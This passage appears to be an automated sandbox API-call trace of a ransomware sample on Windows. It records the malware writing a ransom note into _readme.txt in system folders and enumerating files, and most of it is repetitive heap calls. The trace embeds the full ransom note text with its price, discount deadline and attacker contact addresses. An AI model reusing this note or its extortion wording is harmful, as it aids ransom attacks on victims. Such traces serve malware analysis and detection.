[0066.549] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.549] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.549] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.549] CloseHandle (hObject=0x5c4) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.550] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.550] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.550] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.550] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3330b30, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.550] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3330b30, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3330b30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3330b30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.550] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.550] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.550] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.550] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.551] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.551] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.552] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.552] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.553] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.553] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.554] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.554] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.555] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.555] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.556] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.556] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, 